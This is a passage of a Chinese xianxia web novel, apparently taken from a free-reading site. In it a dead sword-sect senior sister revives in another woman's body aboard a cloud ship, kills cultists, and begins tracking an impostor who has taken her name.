《你师姐永远是你师姐》 1. 复生 《你师姐永远是你师姐》全本免费阅读 痛。 仿佛要将人活生生撕裂般的剧痛。 这是姚珍珍在黑暗中唯一的感觉。 难道是我生前杀孽太重,所以死后才要受这锥心之刑?她心里如此腹诽着,努力睁开了双眼。 入目所见却并非她所预想的阴曹地府。 或许是长梦初醒的缘故,睁眼所见一切皆蒙着一层昏暗的影子。狭窄的客室内,她看见身前简陋的木桌角上钉着一盏油灯,焦黑的灯芯上燃着一豆微弱的烛光。 桌面上凌乱的翻倒着几个粗瓷茶杯,杯中未尽的残茶顺着桌面滴滴嗒嗒的落向地板。 我这是在哪?姚珍珍皱着眉想要站起身来。 胸口撕心裂肺的疼痛已有所减弱,但依然绵延不绝,姚珍珍一边试图起身一边低头打量那疼痛的来源。 然而这两种意图都失败了。 姚珍珍终于后知后觉的意识到,她此时正被人结结实实的捆在身下木椅上,四肢被缚,全身上下唯一能动的便是头颅。 而低头所见是浅蓝柔软的布料,包裹着曼妙曲线,领口微敞,扑面阵阵幽香。 见鬼了,这是什么? 这一瞬间她所受到的惊吓简直难以言表。 作为一个剑修,姚珍珍熟悉自己的身体就像熟悉自己的剑。 她无论何时都没有过这么……这么傲人的胸围。 姚珍珍从来不是大众所欣赏的那种美人,她容貌远比不上底下几个师妹,又因为常年习剑而身形削瘦,全身上下唯一的一点丰腴都集中在了脸上——她是天生的圆脸蛋,不论何时脸颊总是带点婴儿肥。 而眼下,虽然方才仅仅是从敞开的领口中惊鸿一瞥,但所见身姿之丰腴窈窕…… 这绝不可能是她的身体! 这一惊吓让姚珍珍情不自禁的向后一挣,身下木椅在地板上磕出一声刺耳的响声。 “醒了?”身后传来一道粗哑的男声,“你们这些仙门子弟可真是够娇贵的。” 伴随着不紧不慢的脚步声从身后绕至身前,借着屋内昏暗的光线,姚珍珍看清了来人的样子。 黑发褐眼,身材高大而肤色苍白,面容轮廓极深。 眉骨高凸瞳色浅淡,这是相当典型的北域人特征。 在记忆中一翻搜索,姚珍珍确认自己并未见过眼前的男子。 她生前甚少涉足北域,只是曾在浣金仙试时见过来自北边的修士…… 心念电转间眼前之人已再次踏前一步,向着姚珍珍伸出手来。 “噗嗤”一声轻响,胸口爆发出一阵尖锐的疼痛,姚珍珍猝不及防间受了这一下,忍不出从牙缝间溢出一声痛呼。 好在这疼痛来的突然离去的也很迅速,或许是已经麻木的原因,胸前伤口传来空落落的钝痛,不再似方才一般锥心刺骨。 这让她得以抬头望向造成了这一切的罪魁祸首。 一枚细瘦的骨爪正被眼前之人抓住,雪白的骨质上还残留着血肉碎末,五指舒张间发出细碎的吱吱声响。 姚珍珍认出了他手里的东西。 食人钩,一种较为少见的邪物,喜食活人鲜血,会用指骨扎进人或动物的皮肉中采血。食人钩的骨中含有能使人麻痹的毒素,取毒素最低的第二节尾指指骨研磨后可入药。但因其炼制手法过于残忍,在姚珍珍的记忆里,绝大多数的门派都讲此物视为邪物而非灵材,门下子弟若被发现主动使用此物,必然要受戒律惩罚。 敢在光天化日之下驱使此等邪物吸食活人心血,眼前男子定然不是什么正派子弟。 更何况刚刚的动作间,姚珍珍看见了男子脸颊边一点闪光。 那是一枚纯金的耳坠,四只手臂托举着六瓣莲花,制作得极其精致。 姚珍珍认得这个符号。 昔年明砚宗清剿治下邪教魔修时曾向南陆各仙门发出通缉文书,其中为首的净莲教所使用的便是这个符号。 只是净莲教早在几年前便已全教伏诛,教中妖人连带信众都已被尽数绞杀,如今怎么会出现在这里? 她心里疑窦丛生,却没有贸然开口,只是暗中试图调动灵力。 但或许是因为这具身体并不属于她,又或许是身体的主人受过什么内伤,无论她在内府中如何努力,体内灵脉依然空空荡荡,毫无反应。 转瞬间,那魔修已取走了扎在她心口的食人钩。仔细端详了一会儿那邪物已经完全变成鲜红色的几节指骨后,男人露出一个满意的笑容。 他小心地将仍在吱吱挣扎的食人钩拴进一个棕色绸袋中,转头看向仍被捆在木椅上的姚珍珍。 “你想怎么死?”他问道。 姚珍珍此时已经放弃了调用体内灵力的无用功,闻言抬起了头。 “我不想死,”一开口她才发现这具身体的年龄应该并不大,声音婉转清脆,如同雏鸟春鸣,“我与郎君并无仇怨……” 姚珍珍抬头望着他,努力让自己的表情显得更加惶恐不安,眼角的余光却开始在屋内乱转。 “这艘船上的人一个也不能活,”男人脸色冷了下来,硬梆梆地说,“你可以选个痛快的死法。” “或者我帮你选。”他不耐烦的将手伸向后腰,作势便要拔剑。 姚珍珍也看见了他腰间的剑。 太好了,是个剑修,她心想。 “唰——”的一声长剑出鞘,雪亮剑光映花了两人的眼。 女子素白的脸上忽然露出一个诡异的笑容,张嘴无声的说了什么。 “你……”手握长剑的男人忽然觉得不对,抬手举剑便刺! 但为时已晚,长剑出鞘的瞬间,姚珍珍已经再次开口。 “杀了他!” 她的声音依然娇软动人,但此刻却已成了催命的诅咒。 男人手中长剑几乎是应声而动,剑柄巨震间便已脱手,接着便是剑锋倒转—— “噗嗤——”喷薄的血液溅了姚珍珍满身。 随着男人倒地的一声巨响,雪亮长剑已穿颈而过。 “呼——”姚珍珍甩了甩脸上的血珠,长长的松了口气。 *** 半柱香后。 揉着发麻的手腕,姚珍珍将解开的绳索随手扔在了地上。 现在的当务之急是…… 强忍着羞耻,姚珍珍拉开了胸前的衣襟。 值得庆幸的是,被食人钩所刺出的伤口并不像她想象的那么严重,或许是这具身体本身有修习某些特殊功法的缘故,本应血流不止的可怕创口不过短短时间便已止血结痂,速度之快远超寻常修士。 说起这具身体……姚珍珍再次环视整间屋子。 这个房间整体结构低矮且光线昏暗,装饰也极朴素,除了一桌一椅一床,便再无其他家具,结合刚才男人所说的“这艘船”之语,姚珍珍心底已经有了猜想。 她如今所在之处,应当是一艘云舟。 南陆六洲之间由无尽云海相分隔,彼此通行依靠云舟。这种来自墨展宗的奇巧船只一次可载上百人,且外置防护法阵,可保云舟内不受云海罡风所扰,行船速度虽不快但胜在平稳。 但各洲间云舟航线数量繁多,一时间姚珍珍也没法确认自己的位置,她还是想找找这屋内是否有镜子—— 她的目光落在了地上的尸体旁。 那里躺着一把灵光黯淡的长剑,剑尖还残留着其旧主的血。 宝剑有灵,在被她强行驭使弑主后,这柄剑此刻已自行碎裂,染血的碎片反射着烛火的微光。 姚珍珍俯身捡起了一块较大的碎片,在男人衣襟上草草擦拭了下血迹,便迫不及待的将它对准了自己的脸。 她在碎片反射的镜像中,看见了自己如今的模样。 镜中女子未施粉黛仍可窥见十分颜色,脸颊削瘦下颌尖尖,柳眉微蹙透出淡淡忧愁,即使遍身狼藉,却仍是楚楚动人。 姚珍珍扔下了手中碎片,不敢再看。 此女虽容貌不及她的师妹姚淼淼那般鲜妍明媚,但其姿容亦是不凡,纤纤弱质,令人见之生怜。 她是谁?我为什么会在她的身体里?需要解决的疑问还有很多,姚珍珍在原地稍作思索,迈步走向屋内床铺。 2. 鸣麓山 《你师姐永远是你师姐》全本免费阅读 姚珍珍在船舱的最底层找到了剩下的幸存者。 一满身血迹的修士正举着长剑与两个黑衣的魔修对峙,姚珍珍赶到时一个魔修正从地上的尸首身上拔出剑来。 顾不得多想,姚珍珍转了转酸麻的手腕,快步上前—— 想来这群被派来船舱的魔修也不是什么精锐,反应速度远不及姚珍珍在甲板上宰了的那个,两人甚至没能看清来人样貌便已毙命。 将剑锋上残血甩去,姚珍珍终于稍微喘息了片刻,回过头望向剩下那个幸运儿。 “……梅娘?” 她这才注意到,那剩下的一名幸存者是个年轻的男性修士,此刻正跌坐在地,发髻散乱,衣冠带血,神色惊惶地望向自己。 “梅娘你怎么……”他一边说着一边单手撑地想要起身。 姚珍珍向后退了一步。 她确定自己并不认识眼前这个年轻男子。 但见到他的脸的一瞬间她忽然心头巨震,一阵陌生的战栗感沿着背部一路向上,手中短剑随之当啷一声落地。 仿佛长梦初醒一般,她感觉到四肢仿佛脱离了自己的控制,连带着视野也开始逐渐昏暗。 我这是……怎么了?她在无力的昏沉中想到。 再一次陷入深眠之前,姚珍珍看见的是那年轻男子向她走来的身影。 “梅娘!梅娘你怎么了?” “……” *** 姚珍珍做了一个梦。 鸣麓山的四季都温暖得像是春天,即使是外面已是寒风料峭,只要越过哨亭进入山脚,气候便暖和到可以只穿一件薄衫,只是深夜露重时需要多添一件外袍而已。 如往常一样,姚珍珍在山脚哨亭遇见了今日驻守的弟子。 “师姐!”亭中少年远远看见了她的身影,脸上露出欣喜的笑容,“师姐你回来啦!” 姚珍珍对他点点头,露出一个笑容。 “辛苦了,”走进哨亭,她把提在身后的食盒放下,“趁热吃吧。” 少年也不和她客气,当即便坐下揭开食盒开始大快朵颐。 此时天色依然黑沉沉的,姚珍珍解开身上厚重的皮毛大氅,将残雪轻轻抖落,然后珍而重之的将它收进纳戒中。 石桌上摊着一本名册,她先是提起笔在上面添上了自己的名字,又按照习惯往前翻了几页,在上面看见了一个意料之外的名字。 “鸣臻来了?”她语气里不自觉的带上一些惊喜。 “啊?三皇子吗?昨天夜里来的,”少年脸颊鼓鼓地咀嚼着嘴里的食物,一边伸筷子去夹盘子里剩下的最后一个小笼包,“师姐原来不知道吗?我以为你是特意提前回来的。” “他没告诉我……”姚珍珍语气不确定道,“也可能是我没收到传信?我之前新换了一只玄鸟。” “难怪,之前淼淼师姐还在抱怨联系不上你,”少年将空了的碗碟放回食盒,心满意足的打了个饱嗝,“我吃好了,谢谢师姐!” 他笑嘻嘻的将食盒递过去:“师姐这次回来会留多久?我喊礼明给师姐打扫院子去。” “先缓缓吧,”姚珍珍提起食盒,“戒律堂那边积了不少公务还等着呢,我要回来也不住这边,没得白费劲。” 她摆了摆手,转身向山道走去。 鸣麓山四面皆是绝壁,仅有一条上山之路,姚珍珍从小走到大,闭着眼能数清每一块石阶的形状。 她之前从来没觉得这条路是如此漫长。 或许是因为路的尽头有她想见的人。 仙朝三皇子燕鸣臻,少年时便因面容俊美而闻名于南陆七洲,风姿出尘,皎如玉树,令人见之难忘。 当年黎夫人携其子燕鸣臻上鸣麓山提亲时姚珍珍只是远远在青鸾车上见了他一面,之后的会谈里再也没能对他说出一句拒绝的话来。 他站在那里便是一道让人移不开眼睛的风景,更何况他身边还站着另一位绝色美人。 ——虽然名字相似且关系亲密,但姚淼淼与姚珍珍其实并没有血缘关系,姚珍珍是孤儿,而淼淼则是南陆剑宗的大小姐,生来便有十分颜色,成年后更是因仙试一曲名动四方,素有“南陆第一美人”的称号。 而此刻这位“南陆第一美人”正站在燕鸣臻身侧,抬头对他说着些什么,山间熹微的晨光落在二人身上,远远看去仿佛一副神仙画卷,美得不似真人。 姚珍珍虽然自己容貌不显,但剑宗上下都知道她是个颜控。当下两份美色扑面而来,她顿时就走不动道儿了。 不过她停下了脚步,这对璧人却已经远远的发现了她。 “珍珍?” “师姐?” 一阵香风袭来,姚珍珍被猝不及防的扑了个趔趄。 “师姐要回来怎么不提前告诉我?”姚淼淼搂着她的腰抱怨道,“又穿得如此单薄,我给你准备的冬衣呢?” 姚珍珍后退半步稳住身形,一边张开手防止手里的食盒撞到来人,刚要开口回答,手中却忽然一轻。 “珍珍,”她名义上的未婚夫燕鸣臻已经替她提起了那只分量不轻的木食盒,“淼淼刚刚还在和我说你不在鸣麓山,没想到这么巧。” 他向着她微微一笑。 “本以为这次见不到你了……真是幸运。” 姚珍珍向来不能抵挡美色攻势,被他这么一笑顿时连自己叫什么都快忘了,一路晕乎乎的被两人带进屋,直到姚淼淼以更衣为由将燕鸣臻请出去,她才终于回过神来。 “鸣臻这次来是为了什么事?”她抬着头任由姚淼淼折腾,一边开口问道。 “他来找父亲的,”姚淼淼顺手在她腰间掐了一把,“怎么又瘦了?” “师父?” “他有个异父兄弟,天赋颇为不俗,”姚淼淼撇了撇嘴,低头为她系上腰带,“这次特意送来鸣麓山,想让父亲收下这个弟子。” 姚珍珍挑起了一边眉毛。 “天赋不俗?”这世上能让姚淼淼违心称赞之人实在是不多,她不由得有些好奇。 “是啊,比我强多了,不过是个纨绔子弟,毛病忒多,”姚淼淼鼓起脸颊,“张嘴,抿一下。” …… 耗费了一番功夫终于让姚珍珍一身劲装变红装,姚淼淼心满意足的擦净手指。 “父亲才懒得亲自教授弟子,”她将最后一支梅花钗插进姚珍珍的发间,抚摸了一下垂下来的坠子,“最近这些人巴巴儿地送孩子过来,其实只是想沾师姐的光而已。” 姚珍珍笑了一声,没有回答她这略带抱怨的话。 姚淼淼的父亲、姚珍珍的师父姚清和是这座鸣麓山实际上的主人,送到鸣麓山的所有弟子,在名义上都是拜在他的门下。 不过随着姚珍珍近年来开始外出修行,她剑宗大师姐的名头已远远盖过了作为师父的姚清和。不少人家将弟子送来剑宗,其实都是盼望着孩子能得到姚珍珍的亲自指导。只是剑宗规矩森严,唯有一峰之主才能开派收徒,姚珍珍没有能独立一峰的资格,看样子也没有离开师门的打算,于是不少人只能曲线救国,把家中子弟送来鸣麓山门下。 也是这个原因,近年来姚清和愈发怠懒于教导弟子之事,基本上是全权交托给姚珍珍打理。 “带我去见见那个孩子吧。”姚珍珍摸了摸头顶的花钗,还想摸摸自己的脸,手还没抬起便被姚淼淼一把拍下。 “别动,再碰花了妆,”她瞪了师姐不安分的手一眼,“三皇子殿下方才便去接人了,这会儿也该到了。” 为了防止姚珍珍再手贱弄坏了她辛苦维持的妆面,姚淼淼牢牢地挽着她的右臂,两人一起出了里屋。 燕鸣臻果然已经带了人在外间等着。 跟在他身 3. 故人来 《你师姐永远是你师姐》全本免费阅读 “你说的这个姚珍珍,又是哪里来的冒牌货?” 此言一出,四下皆是寂静,望见对面青年瞠目结舌的神情完全不似作伪,姚珍珍心底微微一沉。 “前辈……前辈还请慎言!我等虽远居海外,但也是知晓这位剑宗首座大弟子的赫赫威名……”他低着头磕磕巴巴地回复道,“先不论剑宗从未发出过讣告,这位大师姐长居洛萍,无数人见过她每月初于天门坪习剑,今年仙试更是请了她做武试裁断,何来所谓力竭死于连杀山一说……?” 他越说越笃定,显然已把姚珍珍之前一番言论当作胡言乱语,只是碍于刚刚的救命之恩,不便当面指责。 姚珍珍倒是不欲与他争辩所谓真假,她敏锐地抓住了一个关键词。 “洛萍?”她挑起了一边眉头,“剑宗所在朔望原距离洛萍何止千里之遥,我……她为何要远离宗门,长期居于洛萍?” 洛萍,地处南纤洲北部,毗邻云海,三面绝壁,唯一与陆地接壤的入口被当年的“剑仙”陆眉山一剑劈开,自此成了一处海内孤岛。陆眉山当年于此处开设书院广纳天下学子,百无禁忌所求皆传,洛萍因此一时繁华至极。 只可惜好景不长,陆眉山自戕后,洛萍书院自此一落千丈,书院内珍宝与学子被各大宗门瓜分殆尽,姚珍珍入鸣麓山时,洛萍已经衰落至极。她游历四方时也曾慕名前往洛萍书院旧址寻访昔日“剑仙”遗迹,但所见只有断壁残垣而已。 这个假冒的“姚珍珍”为何要选择定居洛萍?剑宗众人是否知情?姚珍珍想起师门众人,心思微微放松下来。 “这……这……”对面那青年却被她简单一问难住了,露出欲言又止的表情,仿佛这个回答十分难以启齿。 “我等远居海外,对内陆宗门秘辛所知不多。”他斟酌了几番,最终还是低声开口道。 “只是有传言,似乎是因为未婚夫与其师妹姚淼淼纠缠不清,才使这位大师姐远走洛萍,不肯回宗门……” “……啊?”姚珍珍一时还以为自己听错了,“谁和谁纠缠不清?” 淼淼和鸣臻?她脑海里浮现出两张风情各异的美人面,却怎么也想象不出他们在一起的样子。 “南陆三皇子燕鸣臻与鸣麓山之主的独女,那位号称‘南陆第一美人’的,姚淼淼仙子。” 一个清澈的女声回答道。 “前辈,我与夫君自楠九岛搭乘云舟出发以来,一路所听闻有关这二位的桃色流言从无间断,由不得人不信。” 姚珍珍蹙起了眉,倒不是因为这回答是多么的无稽,而是因为这女声的来源——那声音来自她自己的丹田内府之中,只有自己能听见。 对面的青年茫然的看着眼前的女子抬手做出一个噤声的手势,凝神仿佛在倾听着什么。 “你是这具身体的原主人?” “是,我本名白郁湄,正是此身体的主人,此次本是随夫君一同前去参与仙试,不想路遇歹人,幸得前辈相救……” “你能自己控制身体吗?”类似的言辞姚珍珍已经听过太多,她出言打断了对面的感激之辞,问出了她最关心的问题,“我虽是已死之人,但并无遗愿未了,也不愿鸠占鹊巢,若你能自主控制,我便将身体交还于你。” 这当然不是实话,前世死于连杀山,若是常人,身死自然魂散,再多仇怨也是枉然,姚珍珍却从不是个善于原谅的人,何况还有个假冒的“姚珍珍”正顶着自己的名头行走世间,即使无所留恋,她也没有就此罢休的理由。 但这对小夫妻刚受了魔修的惊吓,若再以为自己身上寄宿着一个心怀歹意企图夺舍的灵魂,还不知道惊惧之下会作何举动,姚珍珍因此出言安抚。 “……”那女声沉默良久,姚珍珍感觉丹田有震颤暖意流淌,但仅仅只是片刻便微弱下去了。 “……前辈,我魂体受损,恐怕短期内是不能自如控制躯体了,”白郁湄的语气都无力了许多,显然是在刚才的尝试中又耗费了不少元气,“若是在陆上,还能请医师调养,但这云海无边,只能拜托前辈暂时为我操持一二。” 想了想,或许觉得所言不妥,她又补充道。 “只要云舟一靠岸我便让夫君去寻位擅魂术的医修!若是前辈需要寄宿的身体,之后我们也可为您找寻先天失神者……” “云海罡风确实会动摇魂魄,但修士先天灵根强韧,不至损伤至此,”姚珍珍摇了摇头,“尊夫人应当是先天灵体孱弱,惊惧过度,又被罡风摧折,才会因此失魂失觉,五体不调。” 她这句话是直接开口说出来的,好确保这两夫妻都能听得清楚明白。 “湄娘?她如今可还好?”陆哲听了这话猛地抬起头,目露期冀地望向姚珍珍——说来古怪,自己的妻子他从小便熟悉,从不曾想过只是主导的灵魂变化,竟能有如此差异。从前湄娘在他面前总是羞怯婉约的,陆哲看她满是爱怜,但这位前辈……即使面貌一摸一样,但在此前,陆哲对话时甚至不敢直视她的眼睛。 只有此刻听见了妻子的消息,他才克服了稍许畏惧。 “她灵体有损,需在内府静养,云舟上资源有限,你们此次出游,可有带些助人固魂定神的药物来?”姚珍珍倒是并未察觉此人之前的畏缩情态,她常年身居高位,对这种态度习以为常,只是回道。 “此情此境,之前未曾有过,”青年白净的面皮上露出些红晕,窘迫道,“我们只带了些内外补养的灵药,可这养魂定神的……” 内府中,婉转的女声几乎是同步响起。 “前辈勿怪……我自幼时便嫁入陆府,至此行前,从未曾发现有何灵体虚损之症,是以并未准备这些药物……” 少年夫妻,情深甚笃啊,姚珍珍在心内默默记了一笔。 “那便要能等云舟靠岸,再寻名医了,只是要委屈尊夫人暂且居内修养,”她语气不变,话锋却一转,“此云舟除了你们的亲族侍从外,可还有其他人登船同行?” “这些袭船的魔修出自净莲教……只是不知这些妖人已伏诛数载,又是何时的再现人间的。”姚珍珍伸出脚踢了踢地上一具已经僵硬的魔修尸体,男子脖颈间还有干涸的血迹,死不瞑目地双目大睁着,面色显得惊惧至极。 女子月白的鞋尖下,死者胸前一点金芒正闪烁华光——正是那净莲教的标志,一个四臂捧莲的纯金吊坠。 陆哲半蹲下身去仔细观察那吊坠,姚珍珍也抬手召回刚刚失神时掉落的短剑。 “前辈,净莲教二十三年前被几大宗门联手绞杀不假,但近年来死灰复燃,四处掳掠截杀,已有再起之势,”白郁湄再次从内府中传音道,“我夫君自小被长辈拘在府中修习,对这南陆风物并不熟悉,且他性格孤僻,带人待物皆迟钝……” 她的话语断了一下,仿佛深深叹了一口气。 “前辈,我须得封闭五感,入内府静养神魂,这些魔修手段酷烈,云舟遭逢此劫,或许有临近航道的道友收到了求救的讯息,正在赶来……”她的话语未尽,意图却清晰,“先辈所留魂术本是秘辛,不便为外人所知,还请您暂代我的身份,替我照拂他一二。” “……” 这话其实正中姚珍珍的下怀,她正需要一个假身份,好暗中寻访那冒牌货的情况,但事情如此顺心顺意,她又有些疑虑起来。 那边陆哲全然没注意到这边两个女人的心内交流,他翻检过了地上数具尸体,确认了他们身上皆有那金色的吊坠信物,又见了几具尸体上几 4. 羽觞 《你师姐永远是你师姐》全本免费阅读 姚珍珍的声音不算大,但这舱内空间也并不如何宽敞,她脱口而出的称呼还是传进了室内三人的耳中。 破门而入的剑客只是动作略略停顿了一下,紧接着长剑重重下压,金属交锋之声划破寂静,姚珍珍顿时感觉到握着剑柄的手腕传来一阵尖锐的刺痛。 一别经年,这位师弟倒还是这么大开大合的路数,她心中不由得微哂。 既已确认是故人相逢,姚珍珍当机立断卸下了劲力,手中短剑顺着对面力道划过一个柔软的弧度。在对面剑锋未至时,姚珍珍轻巧的向后半步,险而又险的擦过那锐利的凶器边缘。 来人也看出了面前之人并无战意,一剑落空也不再强追,“唰”地一声,雪亮剑锋便已还鞘。 “报上你们的身份来。”他开口,是低沉的男声,语气冷淡,并无其他感情。 被两人晾在一边的陆哲此时终于反应了过来——实在是来人这未发一语先动刀兵的做派过于强硬,让他一时未能回过神来。 “我是陆氏,楠九岛陆氏的修士,陆哲!”他一手撑着桌面站起身来,一手举起示意对方看自己手上的玉牒,“这是我等登船的玉牃,内记有我们的登船时间,形貌等信息,还请道友查证。” “我等本是搭乘云舟前往参与浣金仙试的,不料云舟上混入了净莲教的魔修,在船只的食水中下毒,使得我等一众修士受其屠戮,无力还手!”青年话至此处,愤愤不止,几近垂泪,“幸而内子因身体不适,多日未进水米,又趁魔修不察,将那头目杀死,才救下了我……” 被他提到的姚珍珍则垂头闭口不言,只做是默认。 ——这是他们商量好的说辞,总归南陆上并无几人真的见过白郁湄的身手,就是想查证也需要时间,短时间内很难被发现。 “林师兄?你那边怎么样了?有没有还活着的?”舱室外,又一清脆的男声传来,伴着脚步声,门边探进来半个身穿白袍的身影,身姿挺拔纤细,头顶束着玉冠,看上去十分年轻。 姚珍珍认出了这后来者身上的服饰,白底绣流云,是剑宗子弟日常的宗门服饰,只是这弟子看面相年轻又陌生,应当是她走后入的门。少年腰间所悬令牌被宽大的下摆挡住,也不好确认是哪一峰的弟子。 “这边有两个,你来查验他们的身份。”被叫做“林师兄”的青年显然也听见了身后的呼唤,他半侧过身,向身后少年示意此处还有两个活人。 “行。”白袍的少年跨步走进了舱室内,毫不见外的接过了陆哲手中举着的玉牃,灵光微动,他抬头望向姚珍珍的面容。 姚珍珍也抬眼望着他。 女人秀美的面庞仿佛上好的白玉雕就,一双眼眸如秋水点墨,二人对视,本该是柔情脉脉的画面,只可惜一方带着审视,而另一方…… 陆哲觉得自己可能是在之前被魔修下的毒搞坏了脑子,不然为何他能从那位神秘前辈的眼中看出几分……慈爱? 姚珍珍倒是没注意到一边陆哲的眼神,她只是才刚看清这为新进的剑宗弟子的样貌——面容白净五官端正,虽然脸颊还透着少年稚气,但不难看出日后英俊的雏形。 是个小帅哥,她心想。随着死而复生一起活过来的那颗颜控之心又开始作祟,虽未相识,但姚珍珍对待宗门内的弟子向来十分亲近,见了这新来的小弟子,忍不住就要多关注一二。 “这位小……修士如何称呼?”她放下手中短剑,问道。 “我?我叫陈谦,这位是我的师兄,林羽觞,我们皆来自剑宗,本是一同乘船去昭华参加仙试的,路上收到求救讯息,才一同前来探查,”陈谦已确认过二人的体貌信息与玉牃内相符,警惕心顿时消失许多,见一边师兄和石头一样沉默,便开口解释道,“白姐姐,你们的身份我已确认了,只是其他遇害之人,我们还要再比对过,你们二人是留在这艘船上,还是随我们一起?” 他见姚珍珍生的娇小可爱,一时心中生出亲近之心,便语气和缓的劝说道。 “此二艘云舟目的地相同,你们两人随我们同行,有我……我和我师兄一起保护你们,路上也安全许多的。” “啪”的一声轻响,是那位从开始便十分寡言的羽觞师兄抬起剑柄,轻轻地敲了一下自己这位大言不惭的师弟的后脑勺。 “慎言,”他轻声斥责了一句,转身面向姚珍珍,“白姑娘剑术不凡,不知可有师承?” 被敲了头的陈谦撇了撇嘴,但瞧见自家师兄如丧考妣的面瘫脸,最终还是没敢回嘴,默默走到一边去翻检其他人的身份信证去了。 “不敢受前辈谬赞,”被几人冷落的陆哲赶紧开口道,“内子自幼养在陆府,所学皆是长辈传授,并无显赫师承。” 突然被人插嘴回话,林羽觞倒也不见恼怒,只是点了点头表示明白,眼睛却还盯着一边已经低下头去的姚珍珍的发顶。 “你的资质不差,若愿来剑宗,可入鸣麓山。”他说,语气依然是不带感情的。 这话说得就极其直白了,姚珍珍不能再避而不接。只是面对曾经师弟却要装作不识,难免有几分心虚。姚珍珍只能压下心中些微愧疚,低声道。 “谢前……前辈称赞,微末技艺,实在愧受,我已有师长相授,并不愿改投他门。”她回忆着前世所见的礼节,对着林羽觞微微福身行了个礼。 “嗯,”闻言,高大青年终于将目光从她身上移开,转身向外走去,“此云舟已空,你二人最好还是与我们同行罢。” 另一边的陆哲闻言头如捣蒜,忙不迭答应。 姚珍珍看着他离开的背影,微微松了一口气。 *** 前来救援的云舟形制比陆家所搭乘的这艘要大许多,仅从外观上也能看出舰船所用材质价值不菲。 二人顺着临时搭建的栈桥来到这艘云舟,陆哲站在甲板上好奇的环顾了一圈四周。 “这艘云舟可是由贵宗单独包船的?”他向走在前方的陈谦询问道。 不怪他有此一问,姚珍珍从甲板放眼望去,除了寥寥几个佩剑的修士正靠着船舷望向这边,这艘云舟简直可以称得上空荡了。且肉眼可见的几位修士腰间皆佩剑,身着剑宗统一的弟子服,显然与陈谦师出同门。 嚯,真有钱,姚珍珍不由得在心中小小地嘀咕了一下。虽然已经过去好几年,但她还是记得自己当年外出游历时是如何的囊中羞涩的……没想到剑宗如今竟能豪奢至此。 ——云舟的搭乘价格并不便宜,墨展宗对这份独门技术从来吝啬。陆氏作为楠九岛上独霸一方的修士家族,宗子外出游历也不见包下整支云舟的,更何况此云舟装饰如此华贵,剑宗如今的财大气粗,着实让姚珍珍咋舌。 “哈哈,陆兄猜对了一半,”走在前面的少年听了他的问话,笑着回过头来,“这艘云舟的确是包船不假,不过船资却并不是由我宗所出。” 他转过头瞟了远处几位同门一眼,确认对方没有听到自己的话语,才竖起一根食指,悄悄地指向云舟的二层舱室处。 “还是沾了大师姐的光,”他放慢脚步靠近了姚珍珍二人,压低了声音,“我们的大师姐是这次浣金仙试的武试裁断,这艘云舟就是特意包下来给她乘坐的。” 他看见眼前女子脸上露出惊愕的表情,忍不住多说两句卖弄。 “你可知这船资是何人所出?南陆皇室可不缺钱,”他眨了眨一边眼睛,“一听说大师姐要去仙试,那位三皇子可是巴巴儿的包了船来接,还派了好些佣人仆妇随行,只不过都被林师兄赶走了而已。” “要我说这三皇子就是问心有愧,明明与大师姐有婚约,却要年年来纠缠淼淼师姐……” 少年后面那些八卦的絮语姚珍珍已经没心思再听,她脑海中只剩下一个念头—— ——那个假冒的“姚珍珍”,正在这艘云舟上! 姚珍珍站住了脚步,她的目光顺着陈谦之前手指的方向,望向那关闭着的舷窗。 “湄娘?”走在后面的陆哲疑惑地出声询问,“怎么了?” “……” 姚珍珍抿了抿嘴唇,收回目光。 “我只是有些惊讶,”她闭了闭眼睛,嘴角勾起几分笑意,“没想到竟有幸能与剑宗首座同乘一船……我十分仰慕这位大师姐,不知之后是否有机会拜见?” 陈谦却被姚珍珍脸上新雪初晴般的笑容晃了眼,一下没能回过神来。 “啊……啊,拜见,对 5. 半妖 《你师姐永远是你师姐》全本免费阅读 二楼舱室内发生的一切姚珍珍都无从知晓,她与陆哲一同随着陈谦来到位于云舟左侧的一间空房内安顿下来。 帮忙收拾行李时,陈谦看着这夫妻二人略显寒酸的包裹,有些奇怪的多问了一句。 “白姑娘,我看那玉牃上登记的,你这次前往昭华本是要参加琴试的,”他再次检视了一下姚珍珍带来的行李,“怎么不见你的琴匣呢?可是落在那边船上了?” 屋内刹时一片寂静。 姚珍珍心里咯噔一下,她对音律字画造诣不深,也不熟悉白郁湄的生平习惯,一时疏忽,倒是忘了她并非寻常武修,这次是要参加文试的。 “并非无意,”她勉强挤出两分笑意,搪塞道,“只是先前魔修作乱,我的琴也因此损毁,只能等靠岸之后再寻一把……” 陈谦只是随口一问,闻言也不疑有他,只是笑着说之后可以帮忙再寻好琴,说完便转身离开了。 室内只留下姚珍珍与陆哲二人,面面相觑,皆是无言。 “……我并不会琴,”良久,还是姚珍珍先开口打破了沉默,“一时疏漏。” 陆哲也懊恼地捂住了头。 “素日出门总是湄娘照顾我的起居用度,乍然离了她,我就忘了这许多,”他手指在发间胡乱抓了抓,苦恼道,“前辈,仙试既已报了名,便没有弃赛的,无论如何也得比上一场才行啊。” “我知晓。” 左不过是登场认输,丢人而已,姚珍珍在心中长叹一声,苦中作乐地想到。 *** 是夜,经历白天一场风波,劳心劳神,又有迁徙劳顿,陆哲身心皆疲惫,与姚珍珍商量着分配了床榻后,他几乎是毫无阻碍地进入了黑沉的梦乡中。 姚珍珍靠在软榻上,直到屋内青年的呼吸长时间变得均匀后,才睁开了眼睛。 倒真是养尊处优不谙世事,所以这样毫无防备。 推开窗棂,离开这间船舱前,姚珍珍回头望了一眼身后青年安详的睡颜,心中暗哂。 舷窗推开时发出轻微的一声响动,但在甲板上巡视的剑宗子弟看过来时,那处窗棂已经恢复了合拢的姿态。 姚珍珍走在月色中,那柄被她用来防身的短剑别在了她的腰间,华光四射的宝石剑鞘被黑布缠住,恢复了凶器朴素的面貌。 她的脚步轻巧,速度却极快,几乎是眨眼间便掠过了整个前甲板,与她擦肩而过的巡逻弟子却好像都对她视而不见,只有一个敏锐些的女性修士在姚珍珍离开时疑惑地抚摸了一下自己的面颊。 “起风了?”那个年轻的女弟子小声地嘀咕了一句。 姚珍珍回头多望了一眼最后路过的那个女弟子,尤其重点关注了一下她腰间系着的腰牌。 剑宗有这样洞察力敏锐的弟子,倒是值得多加培养。 不过这些都是之后需要操心的微末枝节了,她深夜出行,避开一众人等,目标只有一个。 ——那住在二层舱室内的“姚珍珍”。 只是在见到那冒牌货的真面目之前,她还有一关要过。 二层舱室紧闭的房门前,玄衣青年与她沉默相对。 